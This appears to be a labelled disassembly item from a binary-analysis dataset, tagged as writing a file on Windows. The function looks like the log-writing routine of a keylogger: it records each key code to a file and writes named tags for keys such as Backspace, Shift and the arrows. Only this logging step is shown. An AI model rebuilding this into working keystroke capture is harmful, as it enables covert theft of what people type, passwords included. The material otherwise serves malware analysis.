Function at 0x4016c9
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
cmp dword [ebp + 8], 1
je 0x4016db
cmp dword [ebp + 8], 2
jne 0x4016e5
mov eax, 0
jmp 0x401981
mov dword [esp + 4], 0x40405d
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x40170b
mov eax, 0xffffffff
jmp 0x401981
cmp dword [ebp + 8], 8
jne 0x401739
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0xb
mov dword [esp + 4], 1
mov dword [esp], str._BackSpace_
call sym._fwrite
jmp 0x401971
cmp dword [ebp + 8], 0xd
jne 0x401757
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0xa
call sym._fputc
jmp 0x401971
cmp dword [ebp + 8], 0x20
jne 0x401775
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0x20
call sym._fputc
jmp 0x401971
cmp dword [ebp + 8], 9
jne 0x4017a3
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 5
mov dword [esp + 4], 1
mov dword [esp], str._TAB_
call sym._fwrite
jmp 0x401971
cmp dword [ebp + 8], 0x10
jne 0x4017d1
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 7
mov dword [esp + 4], 1
mov dword [esp], str._SHIFT_
call sym._fwrite
jmp 0x401971
cmp dword [ebp + 8], 0x11
jne 0x4017ff
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 9
mov dword [esp + 4], 1
mov dword [esp], str._CONTROL_
call sym._fwrite
jmp 0x401971
cmp dword [ebp + 8], 0x1b
jne 0x40182d
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 8
mov dword [esp + 4], 1
mov dword [esp], str._ESCAPE_
call sym._fwrite
jmp 0x401971
cmp dword [ebp + 8], 0x23
jne 0x40185b
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 5
mov dword [esp + 4], 1
mov dword [esp], str._END_
call sym._fwrite
jmp 0x401971
cmp dword [ebp + 8], 0x24
jne 0x401889
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], str._HOME_
call sym._fwrite
jmp 0x401971
cmp dword [ebp + 8], 0x25
jne 0x4018b7
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], str._LEFT_
call sym._fwrite
jmp 0x401971
cmp dword [ebp + 8], 0x26
jne 0x4018e5
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 4
mov dword [esp + 4], 1
mov dword [esp], str._UP_
call sym._fwrite
jmp 0x401971
cmp dword [ebp + 8], 0x27
jne 0x401910
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 7
mov dword [esp + 4], 1
mov dword [esp], str._RIGHT_
call sym._fwrite
jmp 0x401971
cmp dword [ebp + 8], 0x28
jne 0x40193b
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], str._DOWN_
call sym._fwrite
jmp 0x401971
cmp dword [ebp + 8], 0xbe
je 0x40194a
cmp dword [ebp + 8], 0x6e
jne 0x40195f
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0x2e
call sym._fputc
jmp 0x401971
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fputc
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._fclose
mov eax, 0
leave
ret